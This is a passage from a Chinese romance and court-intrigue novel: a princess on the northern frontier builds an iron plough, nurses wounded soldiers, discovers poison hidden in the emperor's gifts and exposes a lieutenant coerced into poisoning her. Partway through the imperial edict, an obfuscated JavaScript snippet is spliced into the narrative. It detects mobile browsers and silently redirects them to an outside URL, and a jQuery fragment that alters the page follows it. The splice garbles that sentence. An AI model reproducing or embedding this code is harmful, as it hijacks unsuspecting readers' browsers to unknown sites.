那晚回去,她翻出纸笔,画了整整一夜。第二天一早,她顶着两个黑眼圈去找燕云徹,手里攥着几张画得乱七八糟的图纸。 “你军中可有会打铁的?”她问。 燕云徹接过图纸,看了一瞬,挑了挑眉。 图纸画得确实乱,线条歪歪扭扭,有些地方改了又改,墨迹都洇成一团。但他仔细辨认,还是看出了门道......她把犁头改成了铁的,又在犁臂上加了一个可以调节的机关,既能犁得更深,又不用增加马力。 “这是你想的?”他问。 “嗯。”明仪揉了揉眼睛,“以前在司农寺看过一些农书,记得有类似的记载。但我不确定能不能做成,需要铁匠试试。” 燕云徹没再多问,收起图纸:“明日我带你去。” 第二日,他们去了镇上的铁匠铺。 铁匠是个四十多岁的汉子,满脸络腮胡,看见燕云徹时咧嘴一笑,露出一口豁牙:“侯爷!又来打刀?” “今日不打刀。”燕云徹把图纸递过去,“打这个。” 铁匠接过图纸,看了半天,挠了挠头:“这……这是啥?犁?没见过这样的。” “试试。”燕云徹说。 铁匠看向明仪,有些迟疑。明仪点点头:“试试看,不行再改。” 铁匠这才应了。 之后半个月,明仪几乎天天往铁匠铺跑。图纸改了一遍又一遍,废铁打了一炉又一炉,终于有一天,铁匠举着一把崭新的铁犁,兴冲冲地喊她: “殿下!成了!成了!” 明仪接过那犁,摸了又摸,眼眶忽然有些发热。 她从未想过,离开洛安那座金碧辉煌的牢笼,她也能做出点什么。 那犁后来被送给了那个老牧民。老牧民试用了三天,激动得骑马跑了三十里,专门来别院道谢。 “殿下!”他翻身下马,扑通跪在地上,“那犁好使!太好了!我家的地翻得比往年深一倍,明年收成起码多三成!” 明仪扶他起来,轻声道:“好用就好。” 老牧民抹了把眼泪,忽然想起什么,从马背上解下一个皮囊:“这是我家的羊奶,今早刚挤的,最鲜的!殿下尝尝!” 明仪接过,没有推辞。 那羊奶确实鲜,带着微微的甜。她喝了一口,忽然想起营中那些受伤的士兵,便对老牧民道:“这羊奶很好。若还有多余的,可能分些给营中的伤兵?” 老牧民连连点头:“有有有!我这就回去取!” 那之后,每日都有人送来羊奶、奶酪、奶皮子。明仪也不独占,全都分给了营中的伤兵。起初士兵们不敢接,后来见她亲自端来,便红着脸接过去,喝完了还要磕个头。 燕云徹把这些看在眼里,什么都没说。 只是有一日,明仪回房时,发现枕边多了一块油纸包着的东西。她打开一看,是一块蜜饯,北境特产的,用草原上的野果子晒的,酸酸甜甜。 她愣了愣,转头看向门外。 院中空无一人,只有风拂过树梢,沙沙作响。 她拿起那块蜜饯,放进嘴里。 酸酸甜甜的,确实好吃。 再说练兵的事。 燕云徹这些日子也没闲着。黑风岭一战后,他一直在琢磨怎么改进练兵的方法。 周虎那日围魏救赵的计策,给了他启发。燕家军确实勇猛,但打法太老派了......列阵、冲锋、厮杀,每一仗都硬碰硬。这样打下去,就算打赢了,伤亡也太大。 他开始翻兵书,一本一本地翻,有时候翻到半夜。 明仪偶尔路过他的书房,会看见烛火映着他的侧脸,他皱着眉,对着书页出神。她不打扰,只悄悄把热茶放在门口,然后转身离开。 有一日,燕云徹忽然来找她。 “公主可知道《孙子兵法》?” 明仪点头:“读过一些。” “那公主可知道,为什么说‘上兵伐谋,其次伐交,其次伐兵,其下攻城’?” 明仪想了想:“因为不战而屈人之兵,才是最高明的打法。” 燕云徹点头:“我想把这一套用在练兵上。不光练他们的刀枪,还要练他们的脑子......让他们知道什么时候该打,什么时候不该打;什么时候该冲,什么时候该撤;什么时候该正面交锋,什么时候该声东击西。” 明仪听明白了:“你想练一支‘会想’的兵?” “对。”燕云徹眼睛亮了,“燕家军不怕死,但我不想让他们白白送死。如果能用更少的伤亡,达到同样的战果,为什么不呢?” 明仪沉默片刻,轻声道:“你是个好主帅。” 燕云徹愣了一下,随即移开目光:“公主过誉。” “不是过誉。”明仪认真道,“我在朝中见过太多将领,他们只把士兵当成数字,死多少都不心疼。你不是。” 燕云徹没有接话。 但那之后,明仪发现,他开始在练兵时加一些新东西。比如设一些简单的沙盘,让士兵们推演战局;比如编一些通俗易懂的口诀,教他们分辨不同地形该用什么打法;比如故意制造一些“意外”,考验他们的应变能力。 士兵们起初不适应,后来渐渐上了道,有些人甚至能提出自己的见解。 周虎私下跟明仪说:“公主,侯爷这是跟谁学的?以前他可没这么多花样。” 明仪笑了笑,没有回答。 她只是在某一天,把几本自己从洛安带来的兵书悄悄放在燕云徹的书房里。书页间夹着她写的批注,密密麻麻的,全是她在朝中这些年积累的见解。 燕云徹后来看到了,看了很久。 那天晚上,明仪又收到了一块蜜饯。 日子就这么一天天过去。两人从最初的相敬如宾,到渐渐能坐下来一起吃饭;从最初的客客气气,到偶尔能说几句玩笑话;从最初的各睡各的屋,到有时候会并肩坐在院中,看星星。 有一日,明仪问他:“你为什么总给我送蜜饯?” 燕云徹顿了顿,语气平淡:“北境没什么好东西。公主从洛安来,怕是吃不惯这里的粗茶淡饭。那蜜饯是本地特产,酸甜口的,应该合公主口味。” 明仪看着他,忽然笑了。 “你知不知道,”她说,“本宫在洛安时,什么山珍海味都吃过。可那些东西,都不如这块蜜饯。” 燕云徹没说话,只是耳尖悄悄红了。 那夜,明仪回房,发现枕边又多了两块蜜饯。 她笑着摇摇头,把它们收进那个小匣子里。匣子里已经攒了七八块,每一块她都舍不得吃,就那么放着,偶尔打开看一眼,心里便暖洋洋的。 可这样的日子,终究没能持续太久。 那是一个寻常的午后。 明仪正在院中晾晒羊皮,那是她跟牧民学的,说是晒过的羊皮更软和,冬天可以做褥子。燕云徹在书房里看军报,偶尔传来翻页的声音。 忽然,远处传来急促的马蹄声。 明仪抬头,看见一队人马正朝别院而来。那队人马穿着京中禁军的服饰,为首的是个面白无须的中年人,一看便知是宫里的内侍。 她的心微微一沉。 那内侍在别院门口勒马,尖着嗓子道:“长公主殿下接旨......!” 明仪起身,整了整衣襟,跪下接旨。 那旨意很长,大意是说陛下惦念姑母,特赐御酒十坛、锦缎百匹、珠宝若干,聊表孝心。最后还特意加了一句,说这些东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210379|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是陛下亲自挑选的,望姑母笑纳。 明仪叩首谢恩,神色平静。 内侍笑眯眯地把东西抬进来,又笑眯眯地告辞。临走前还特意叮嘱:“殿下,那御酒是陛下特意寻来的,说是宫中最老的陈酿,殿下务必尝尝。” 明仪点头:“替本宫谢过陛下。” 内侍走了。 明仪站在院中,看着那些堆成小山的赏赐,脸上没什么表情。 燕云徹不知何时走到她身边,低声道:“有问题?” 明仪没有回答,只吩咐侍女:“把东西都搬进去,仔细清点。” 侍女应声去了。 那夜,明仪坐在灯下,看着那些御酒、锦缎、珠宝。每一件都精美绝伦,每一件都价值连城,每一件都挑不出任何毛病。 可她的心却怎么也放不下来。 她想起少帝那双阴鸷的眼睛,想起他登基后对她说“姑母辛苦了”时那虚假的笑意,想起王珣临行前说的那句话......“臣现在也不知道,臣做的这些事,陛下究竟知不知道”。 她轻轻叹了口气,正要让人把东西收起来...... 侍女忽然跌跌撞撞地跑进来,脸色煞白。 “殿下!殿下!” 明仪心头一紧:“怎么了?” 侍女颤抖着递上一个小瓷瓶,那是她从一个酒坛的封泥中发现的。瓷瓶很小,只有拇指大,里面装着一些白色的粉末。 “奴婢……奴婢清点时,不小心碰倒了一坛酒,封泥裂了,里面就露出这个……”侍女的声音发抖,“奴婢不放心,偷偷找了条野狗试了一下……” 她说不下去了。 明仪接过那个瓷瓶,对着灯光看了很久。 然后她笑了。 那笑容很淡,淡得像是什么都没有发生。 “知道了。”她说,“你下去吧,不要告诉任何人。” 侍女愣住了:“殿下?那这酒……” “留着。”明仪把瓷瓶收进袖中,“陛下赐的东西,怎么好不喝?” 侍女张了张嘴,想说什么,但看见明仪的眼神,终究什么都没说,退了下去。 明仪独自坐在灯下,望着那些堆成小山的赏赐,沉默了许久。 窗外,月色如霜。 她忽然想起燕云徹给她送的那些蜜饯,酸酸甜甜的,确实好吃。她想起那个老牧民送来的羊奶,鲜鲜的,带着微微的甜。她想起那些伤兵接过羊奶时红着的脸,想起他们喝完奶还要磕个头的样子。 她想起这半个月,是她这辈子过得最舒心的半个月。 没有勾心斗角,没有尔虞我诈,没有那些藏在笑脸后面的刀光剑影。 只有风,只有草原,只有那个每晚偷偷往她枕边放蜜饯的人。 她把那个小瓷瓶拿出来,又看了很久。 然后她把它锁进了一个匣子里,和那些蜜饯放在一起。 不急。 她对自己说。 第二日,一切如常。 明仪照样去铁匠铺,看铁匠打新的农具;照样去晒羊皮,和牧民们聊聊家常;照样去营中送羊奶,听伤兵们说些家长里短。 只是她开始留意了。 留意那些从京中来的信使,留意那些偶尔路过的商队,留意别院中新来的仆役。她把每一个可疑的人都记在心里,面上却不动声色,仿佛什么都没发生。 燕云徹似乎察觉到了什么,有一日忽然问她:“公主最近是不是有心事?” 明仪笑了笑,摇头:“没有。只是想着,快入冬了,该给营中的士兵备些冬衣。” 燕云徹看了她一眼,没有追问。 那夜,明仪回房,发现枕边又多了两块蜜饯。 她拿起一块放进嘴里,酸酸甜甜的,确实好吃。 她忽然想起少帝赐的那些御酒,不知道是什么味道。但她不打算尝。 至少现在不打算。 她还有太多事要做。 那些藏在暗处的眼睛,那些潜入睡梦中的毒,那些被压下去的秘密......她都要一个一个找出来,一个一个看清楚。 不急。 她把蜜饯收进匣子里,和那个小瓷瓶放在一起。 窗外月色正好。 远处的草原上,传来牧民悠长的歌声,像是在唱什么古老的调子。她听不懂歌词,但那旋律很温柔,像母亲哄孩子入睡时的哼唱。 她闭上眼睛,静静地听着。 忽然,门口传来轻轻的脚步声。她睁开眼,看见燕云徹站在门外,手里端着一碗热腾腾的羊奶。 “睡不着?”他问。 她点点头。 他把羊奶递过来:“喝点,暖胃。” 她接过,喝了一口。羊奶很鲜,带着微微的甜,和白天分给伤兵们的一样。 她抬头看他,忽然问:“你为什么总对我这么好?” 燕云徹愣了一下,随即移开目光:“公主是客,应该的。” 明仪笑了。 她没有拆穿他,只是把羊奶喝完,把碗还给他。 “谢谢。”她说。 燕云徹接过碗,站了片刻,低声道:“早点睡。” 然后转身走了。 明仪看着他的背影消失在院中,忽然觉得心里那点阴霾散了些许。 她关上窗,躺回床上。 匣子里,蜜饯和毒药安静地待在一起。 她知道,总有一天,她必须打开那个匣子,面对里面藏着的一切。 但不是现在。 现在,她只想好好睡一觉。 窗外,歌声还在继续。 她闭上眼睛,沉沉睡去。 23. 第二十三章 蜜饯与霜 之后的日子,平静,却又隐隐透着些说不清的暗涌。 明仪照旧每日去铁匠铺、晒羊皮、给伤兵送羊奶。燕云徹照旧练兵、看军报、半夜在书房里点着灯。两人照旧偶尔并肩坐着看星星,偶尔收到对方悄悄留下的东西。 可有些东西,到底是不一样了。 那日,明仪去营中送羊奶,刚走进伤兵营,就听见里头有人在吵。 “凭什么不给老子喝?那是公主送来的!” “你算老几?老子断了一条胳膊都没说什么,你蹭破点皮就天天往这儿跑?” “都别吵了......哎,公主来了!” 众人齐刷刷闭嘴,讪讪地看向门口。 明仪站在那里,手里端着那锅羊奶,神色平静得看不出任何情绪。 周虎从人群后挤出来,满脸尴尬:“殿下,您别往心里去,这帮兔崽子就是闲的,一天不吵架皮痒......” “为什么吵?”明仪打断他。 周虎挠了挠头:“就……就是争那羊奶。您每日送来的就这些,伤得重的要多喝些,伤得轻的就少喝些,可有些人觉得不公平,就……” 明仪沉默片刻,把羊奶锅放下,走到那几个吵得最凶的士兵面前。 “你。”她指着第一个,“伤在哪儿?” 那士兵缩了缩脖子,嗫嚅道:“腿……腿上,刀伤,快好了。” “你呢?” 第二个士兵低着头:“胳膊,也快好了。” 明仪点点头,又看向旁边一个默不作声的年轻士兵。那人脸色蜡黄,嘴唇发白,裹着厚厚的被子还在发抖。 “他呢?” 周虎叹了口气:“烧了三天了,伤口一直不好,军医说怕是……怕是……” 他没说完,但明仪明白了。 她走过去,在那个年轻士兵身边蹲下,伸手探了探他的额头......滚烫。 “他喝了羊奶吗?” 周虎摇头:“他吃不下,喂什么都吐。” 明仪没再说话。她站起身,走回那锅羊奶前,盛了一碗,又从袖中摸出一小块姜......那是她今早从厨房顺手带的,本想泡水喝......她把姜切成薄片,放进碗里,又端起碗走回那个年轻士兵身边。 “把他扶起来。” 两个伤兵连忙把人扶起。明仪把碗凑到他嘴边,轻声道:“慢慢喝,别急。” 那士兵迷迷糊糊地睁开眼,看见是长公主殿下,吓得差点从床上滚下去。明仪按住他,又把碗往前递了递:“喝。” 那士兵眼眶忽然红了,就着明仪的手,一口一口把那碗姜汁羊奶喝了下去。 明仪等他喝完,把碗递给周虎,这才转身看向那几个吵得最凶的士兵。 “你们吵,是因为觉得不公平。”她的声音很平静,“可你们想过没有......什么是公平?” 没人敢接话。 “他伤得比你们重,他喝一碗能活,你们喝一碗只能补补身子。如果让你们选,你们愿意跟他换吗?” 沉默。 明仪没有再说什么,端起空碗,转身走了。 那之后,伤兵营里再也没人吵过架。 可这件事传到燕云徹耳朵里,不知怎么的,就变了味儿。 那日傍晚,明仪正在院中收羊皮,忽然听见院外传来一阵急促的马蹄声。她抬头,就看见燕云徹翻身下马,脸色沉得像暴风雨前的天。 “公主。”他走过来,声音压得很低,“我有话问你。” 明仪放下羊皮,看着他:“说。” “今日在伤兵营,你是不是亲手给一个士兵喂了羊奶?” 明仪愣了一下,点头:“是。他烧得厉害,吃不下东西,我就......” “他是男的。” 明仪又是一愣,随即明白过来。她看着燕云徹那张阴沉的脸,忽然有些想笑。 “所以呢?” “所以?”燕云徹眉头紧锁,“你是长公主,是监国公主,是……是我的妻子。你怎么能......” “怎么能什么?”明仪打断他,“怎么能亲手给一个受伤的士兵喂药?还是怎么能碰别的男人?” 燕云徹被噎住了。 明仪看着他,忽然觉得又好气又好笑。她认识燕云徹这么久,头一回见他这副模样......像只护食的狼,浑身的毛都炸着,偏偏又说不出个所以然来。 “他烧了三天。”明仪放缓了声音,“军医说可能挺不过去。我只是给他喂了一碗羊奶,里面放了点姜,暖胃的。” 燕云徹没说话。 “他跟我弟弟差不多大。”明仪又道,“我弟弟要是还在,也该是那个年纪。” 燕云徹的脸色终于松动了一些。 但他还是不说话。 明仪叹了口气,走过去,把他拉进院中,按着他在石凳上坐下。 “你到底在气什么?”她问。 燕云徹沉默良久,终于开口:“我不知道。” 明仪看着他。 “我就是……”他顿了顿,似乎在组织措辞,“听说你给他喂药,心里就不舒服。我知道你是好意,知道他是伤兵,知道你不该被我管着......可我就是不舒服。” 他说完,自己也觉得有些理亏,别过头去,不看明仪。 明仪愣了好一会儿。 然后她笑了。 那笑声很轻,像是风拂过草原,带着些许无奈,又带着些许她自己都没察觉到的温柔。 “燕云徹。”她喊他的名字。 他转过头。 她凑近了些,看着他的眼睛:“你知不知道,你现在的样子,像什么?” 他皱眉:“什么?” “像小时候我养的那只小狗。”明仪一本正经道,“每次我摸别的狗,它就蹲在一边,用这种眼神看我......又委屈,又生气,又不敢咬人。” 燕云徹的脸黑了。 “你说我是狗?” “比喻而已。” “…….” 明仪看着他吃瘪的样子,心情忽然很好。她站起身,拍了拍他的肩:“行了,别气了。下次我喂药之前,先跟你说一声,行不行?” 燕云徹沉默片刻,闷声道:“不用。” “嗯?” “不用跟我说。”他站起身,别过脸去,“你爱喂谁喂谁。我只是……” 他顿了顿,声音低了下去:“只是下次,别自己蹲那儿。让周虎扶着,你喂就行。万一那人突然犯病伤着你……” 明仪听着他说,心里忽然软了一下。 “知道了。”她轻声说。 燕云徹点点头,转身要走。 “等等。”明仪叫住他。 他回头。 明仪从袖中摸出一个油纸包,递给他。 “今日牧民送来的,说是新晒的蜜饯,比上次的甜。我尝了一块,还行。给你留的。” 燕云徹接过,打开看了一眼,又合上。 “……谢谢。” 他转身走了。 明仪看着他的背影消失在院门口,忽然想起他方才那副别扭的样子,又忍不住笑了。 这人。 可这笑意还没散尽,就听见院外传来一阵喧哗。 她皱起眉,正要出去看,就看见周虎急匆匆地跑进来,脸色不太好看。 “殿下,出事了。” 明仪心头一紧:“什么事?” “那木尔首领的儿子……跟咱们的人打起来了。” 那木尔,就是当初第一个带兵来汇合的部落首领,送过她一匹马,说过“公主是自己人”的那个。 明仪二话不说,跟着周虎就往外走。 等他们赶到镇上的集市时,场面已经乱成一团。 两拨人隔着一条街对峙,一边是那木尔部落的年轻牧民,个个手里攥着马鞭和短刀;一边是几个燕家军的士兵,已经拔刀出鞘,满脸戒备。 中间的空地上,两个年轻人正扭打在一起,滚得满身是土。 “住手!” 明仪一声厉喝,两拨人都愣住了。 那两个年轻人也停了手,抬起头来,满脸血污地看向她。 一个是那木尔的小儿子,叫阿古拉,才十七岁,明仪见过几次,是个腼腆爱笑的少年。另一个是个燕家军的年轻士兵,叫赵石头,明仪也认得,就是那日伤兵营里烧得最厉害的那个。 此刻两人都是一脸狼狈,阿古拉的脸上被抓出了几道血印子,赵石头的嘴角破了,还在往外渗血。 “怎么回事?”明仪沉声道。 没人说话。 “说!” 阿古拉梗着脖子,用生硬的汉语道:“他……他骂人!” 赵石头也不甘示弱:“我骂什么了?我说你们草原人不知好歹,公主给你们送羊奶送农具,你们转头就涨价......我说错了吗?” 阿古拉的脸涨得通红:“涨价是因为今年羊少!不是故意!” “那你们以前怎么不涨?偏偏公主来了就涨?” “你......” 两人又要往上扑,被两边的人死死拉住。 明仪听明白了。 她看向阿古拉:“部落里的羊皮和奶制品,涨价了?” 阿古拉低下头,不说话。 明仪又问:“为什么涨价?” 阿古拉沉默了好一会儿,才闷声道:“今年草不好,羊羔死了很多。不涨价,过不了冬。” 明仪点点头,又看向赵石头:“你买什么了?” 赵石头愣了愣,低声道:“没买什么……我就是听人说,最近集市上的东西都贵了,牧民们见公主好说话,就趁机涨价。我替公主不平。” 明仪沉默片刻,忽然笑了。 那笑声里没有怒意,只有一种说不清的疲惫。 “替我抱不平?”她看着赵石头,“你知不知道,草原上的人靠什么活?就靠这些羊,这些皮,这些奶。今年草不好,羊羔死了很多,他们过冬都难。这时候涨价,不是为了赚你的钱,是为了活下去。” 赵石头愣住了。 明仪又看向阿古拉:“你们涨价,为什么不跟镇上的人说清楚?为什么不来告诉我?” 阿古拉低着头,闷声道:“我阿爸说……公主对我们好,我们不能给公主添麻烦。” 明仪沉默了很久。 然后她走过去,把阿古拉拉起来,又对赵石头道:“你也起来。” 两人讪讪地站起来,都不敢看她。 明仪看看这个,又看看那个,忽然道:“你们俩,跟我走。” 两人对视一眼,不知道这位长公主要干什么,但谁也不敢问,老老实实地跟在后头。 明仪带着他们,穿过集市,穿过镇子,一直走到那木尔部落的营地。 那木尔正站在毡房外,看见明仪来了,连忙迎上来:“公主?您怎么......” 然后他看见明仪身后那两个鼻青脸肿的少年,脸色顿时变了。 “阿古拉!”他吼道,“你干了什么!” 阿古拉缩了缩脖子,不敢吭声。 明仪摆摆手:“首领别急。今日的事,我来处理。” 她把那木尔拉到一边,把集市上的事说了一遍。那木尔听完,脸色青一阵白一阵,转身就要揍阿古拉。 明仪拦住他:“首领,我不是来兴师问罪的。我是来问问......部落里今年,真的这么难?” 那木尔沉默片刻,叹了口气。 “不瞒公主,今年是二十年不遇的旱。草场枯了一半,羊羔死了三四成。冬天还不知道要冻死多少……” 他的声音低了下去。 明仪听着,心里忽然有些发酸。 她在洛安时,看过无数奏章,知道北境年年有灾,年年有牧民冻死饿死。但那都是奏章上的字,冷冰冰的,没有温度。 直到此刻,站在这片枯黄的草原上,看着这个憨厚的老首领满脸愁容,她才真正明白......那些字,是一条条人命。 “为什么不报给朝廷?”她问。 那木尔苦笑:“报了有什么用?朝廷的赈灾粮,十回有八回到不了我们手上。剩下的两回,也只够塞牙缝。” 明仪沉默了。 她知道他说的是真的。 她在朝中那么多年,经手过多少赈灾的折子?那些粮食和银子,有多少真的到了灾民手里,又有多少被层层盘剥、雁过拔毛? 她不是 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阿古拉愣了愣,也拱了拱手:“我……我也不该打你。” 明仪看着他们,忽然道:“你们俩,年纪差不多,一个是燕家军的兵,一个是部落首领的儿子。本该是并肩作战的兄弟,今天却差点动刀子。知道为什么吗?” 两人对视一眼,都没说话。 “因为你们不了解对方。”明仪说,“你不知道他们草原上的人怎么活,他不知道你们当兵的吃什么苦。你们看到的,都是对方的错,看不到对方的不容易。” 她顿了顿,忽然道:“这样吧,我给你们一个任务。” 两人都抬头看她。 “从今天起,阿古拉,你每天去军营,跟着赵石头他们一起训练。赵石头,你每天来部落,跟着阿古拉他们一起放羊。一个月后,你们再来告诉我......草原人和当兵的,到底谁更苦。” 两人都愣住了。 “怎么?不敢?”明仪挑眉。 赵石头一梗脖子:“有什么不敢的!我去!” 阿古拉也不甘示弱:“我也去!” 明仪点点头,看向那木尔:“首领,你觉得呢?” 那木尔愣了愣,忽然笑了。 “公主这个主意好。”他看着阿古拉,眼神里有些复杂,“这小子从小被我惯坏了,让他去军营吃吃苦,也好。” 事情就这么定了。 明仪带着赵石头往回走时,正好碰上来寻她的燕云徹。 燕云徹看了看她,又看了看她身后那个鼻青脸肿的少年,眉头微皱:“这是?” “赵石头。”明仪道,“从明天起,他白天去那木尔部落放羊,晚上回营睡觉。阿古拉白天来军营训练,晚上回部落。为期一个月。” 燕云徹愣了一下,随即明白了她的用意。 他看着她,眼神里有些说不清的东西。 “公主这法子……”他顿了顿,“挺好的。” 明仪笑了笑,没说话。 两人并肩往回走。赵石头跟在后面,一会儿看看这个,一会儿看看那个,总觉得哪里怪怪的。 走了好一会儿,燕云徹忽然道:“那个赵石头,就是上次你喂药的那个?” 明仪脚步一顿,转头看他。 燕云徹面色如常,仿佛只是随口一问。 明仪沉默片刻,忽然笑了。 “是他。” 燕云徹点点头,没再说什么。 但明仪注意到,他接下来的一路,嘴角一直微微翘着。 她假装没看见。 那之后的日子,比之前热闹了些。 阿古拉和赵石头,一个在军营里被练得嗷嗷叫,一个在草原上被羊追得满山跑。两人每天见面,都要互相嘲笑一番,但渐渐地,嘲笑变成了斗嘴,斗嘴变成了说笑,说笑变成了……也不知道算不算朋友。 有一日,明仪去营中送羊奶,正碰上阿古拉在训练。他被周虎练得趴在地上起不来,嘴里还在嘟囔:“你们当兵的……太狠了……” 赵石头正好放羊回来,蹲在他旁边,幸灾乐祸:“这就叫狠?我天天被练成这样,也没见你同情我。” 阿古拉瞪他:“你放羊有我累?我今天追了三十只跑散的羊!” 赵石头嗤笑:“三十只算什么,我昨天扛了五十袋粮!” “你胡说!” “你才胡说!” 两人又吵了起来,但吵着吵着,不知怎么就笑成了一团。 明仪站在远处看着,忽然觉得心里暖暖的。 晚上回去,她跟燕云徹说起这事,燕云徹也笑了。 “周虎跟我说,那个阿古拉是个好苗子,不怕苦不怕累,学东西也快。他想等一个月到了,问问那木尔,能不能让阿古拉留在军营,当个预备兵。” 明仪愣了一下:“那木尔能同意?” 燕云徹摇头:“不知道。但我觉得,就算现在不同意,将来也未必。” 明仪点点头,没再说什么。 那夜,她回房时,又发现枕边放着两块蜜饯。 她拿起一块放进嘴里,酸酸甜甜的,确实好吃。 她忽然想起白天看见的那一幕......阿古拉和赵石头笑成一团的样子,像极了两个不懂事的孩子。 她想起自己刚来北境时,也是这样,什么都不懂,什么都陌生。可现在,她已经能认出集市上每一种皮毛的成色,能叫出营中大半伤兵的名字,能听懂牧民们闲聊时那些带着口音的话。 她想起那木尔说“公主对我们好”,想起赵石头说“我替公主不平”,想起周虎说“公主别往心里去”,想起燕云徹那晚端来的那碗羊奶,和那句“公主是客,应该的”。 她想起这些日子,是她这辈子过得最像人的日子。 不是公主,不是监国,不是任何人的棋子或刀。 只是明仪。 她把蜜饯收进匣子里,和那个小瓷瓶放在一起。 匣子里的东西,还是那些。蜜饯越来越多,毒药还是那一瓶。 但她的心里,好像没那么怕了。 24. 第二十四章 八年一跪 明仪照旧每日去铁匠铺、晒羊皮、给伤兵送羊奶。燕云徹照旧练兵、看军报、半夜在书房里点着灯。两人照旧偶尔并肩坐着看星星,偶尔收到对方悄悄留下的东西。 只是那匣子里的毒药,像一根刺,扎在明仪心里,不疼,却时时提醒着她......洛安那双眼睛,从未闭上。 她开始留意。 留意每一个从京中来的人,留意每一个新进别院的面孔,留意燕云徹身边那些她从前不曾注意过的副将、亲兵、文书。 可半个月过去,什么都没发现。 那些人看起来都正常得很。该做什么做什么,该说什么说什么,没有一个露出马脚。 明仪几乎要怀疑自己是不是想多了......也许那毒药只是少帝一时糊涂,也许他送完之后就忘了,也许…… 直到那天夜里。 那夜明仪睡得不太安稳,迷迷糊糊间听见窗外有轻微的响动。她睁开眼,借着月光看见一个人影从院墙边闪过,动作极快,转眼就消失在黑暗中。 她没出声,只是静静躺着,等心跳平复下来。 第二日,她照常起身,照常去晒羊皮。只是在经过院墙时,她弯腰捡起了一样东西......一个小小的纸包,落在墙根的草丛里,显然是那人匆忙间落下的。 她打开看了一眼。 又是那种白色的粉末。 她把纸包收进袖中,面上不动声色,继续晒她的羊皮。 可她的心,已经沉到了谷底。 那之后,事情开始变本加厉。 先是她的茶里被人动了手脚......那日她端起茶盏,发现茶汤的颜色比平时深了些许。她不动声色地放下,说茶凉了,让侍女重新沏一壶。 然后是她的点心......一块牧民送来的奶糕,她掰开时看见里面有一丝不自然的白。她笑着说自己牙疼,吃不了甜的,把点心赏给了院中的狗。 那狗吃完,半个时辰后开始呕吐,吐了整整一下午,到晚上才缓过来。 再然后,是她的被褥。 那日她回房,闻见被褥上有一股若有若无的异味,像是药草,又不太像。她没声张,只说天热,让侍女换一床薄些的被子。那床被褥被她悄悄收起来,第二日请了个老大夫来看...... 老大夫只看了一眼,脸色就变了。 “殿下,这被褥……不能盖。” 明仪点头,让他退下,什么都没说。 她只是坐在那里,看着那床被褥,看了很久。 是谁? 能在别院中来去自如,能在她的茶里下药、点心里投毒、被褥上洒药粉......这不是外人能做到的。 一定是内鬼。 而且,是能接触到她日常起居的人。 明仪开始一个一个地过。 厨房的人,没问题,都是燕家军老兵的家眷,世代在北境,不可能被洛安收买。 侍女们,没问题,都是她从洛安带来的,跟了她多年,忠心耿耿。 那…… 她忽然想到了什么。 燕云徹身边的人。 那些副将、亲兵、文书......她从来没过问过,因为那是燕云徹的人,她信他,便也信他手下的人。 可万一呢? 万一有人,是燕云徹也不知道的呢? 她没有声张,只是开始留意那些人的动向。 周虎,没问题,憨厚耿直,对燕云徹忠心不二,绝不可能。 郑沉,也没问题,虽然话少心思深,但行事磊落,不像是会干这种事的人。 其他人…… 她一个个看过去,一个个排除,直到剩下最后一个...... 张诚。 燕云徹的副将之一,三十出头,沉默寡言,在军中多年,战功不少,却始终不温不火。明仪对他印象不深,只记得每次见面他都低着头,话极少,从不抬头看她。 她开始注意他。 注意他什么时候来别院,什么时候走,跟哪些人说话,说了什么。 注意他看她的眼神......很少,偶尔瞥一眼,很快就移开。 注意他手上的动作......有一次她远远看见他在院墙边站了一会儿,像是在等什么人,又像是在看什么。 她没有打草惊蛇。 只是悄悄告诉了燕云徹。 那夜,两人坐在院中,像往常一样看星星。明仪把这几日的事,一五一十地说了。 燕云徹听完,沉默了很久。 “张诚?”他的声音很低,听不出情绪,“他跟了我八年。” 明仪没说话。 “八年前,我在战场上救过他。他爹妈都死在蛮族手里,是我把他从死人堆里扒出来的。”燕云徹看着远处的星空,声音越来越低,“他说过,这条命是我的。” 明仪轻轻握住他的手。 燕云徹反握住她,握得很紧。 “……我知道了。”他说。 第二日,一切如常。 张诚照常来别院点卯,照常站在院中等候差遣,照常低着头,不看任何人。 他不知道,暗处有几双眼睛正盯着他。 不知道,他的每一步都被人记下。 不知道,他藏的那个小瓷瓶,已经被人发现。 第三日。 那日傍晚,张诚照例来别院送军报。他把军报交给燕云徹,正要转身离开,燕云徹忽然叫住他。 “张诚。” 张诚脚步一顿,转过身来:“侯爷?” 燕云徹看着他,目光很平静,平静得像一潭死水。 “你跟我几年了?” 张诚愣了一下,低头道:“八年。” “八年。”燕云徹重复了一遍,“八年,不短了。” 张诚没说话,只是低着头。 燕云徹站起身,走到他面前。 “张诚,我问你一件事。” 张诚的肩微微一僵:“侯爷请说。” 燕云徹看着他,一字一句道:“那日在院墙边,你掉了什么东西?” 张诚的脸色变了。 他猛地抬头,看向燕云徹,又迅速低下头去。他的嘴唇动了动,想说什么,却什么都说不出来。 燕云徹没有等他回答。他从袖中取出一个小小的纸包,递到张诚面前。 “是这个吗?” 张诚看着那个纸包,脸色惨白。 “侯爷……”他的声音在发抖,“侯爷,我……” 燕云徹看着他,目光里没有愤怒,没有杀意,只有一种深不见底的疲惫。 “为什么?” 张诚张了张嘴,却说不出话。 “八年。”燕云徹说,“你跟了我八年。我救过你的命,你发过誓。为什么?” 张诚的膝盖忽然一软,直直跪了下去。 “侯爷……”他的声音沙哑,像是从喉咙里挤出来的,“侯爷,我……我也是没办法……” 燕云徹没有说话,只是看着他。 张诚伏在地上,肩膀剧烈地颤抖。 “我娘……我娘还在洛安。”他的声音断断续续,“他们说,我娘在他们手里。只要我……只要我做这件事,他们就不动我娘。我……” 他抬起头,满脸泪痕:“侯爷,我知道我对不起您。可我娘就我一个儿子,她把我拉扯大,我不能……我不能眼睁睁看着她死……” 燕云徹沉默了很久。 明仪站在远处,看着这一幕,心里说不出是什么滋味。 她想恨这个人。 他差点害死她,差点毁掉她和燕云徹好不容易得来的平静。 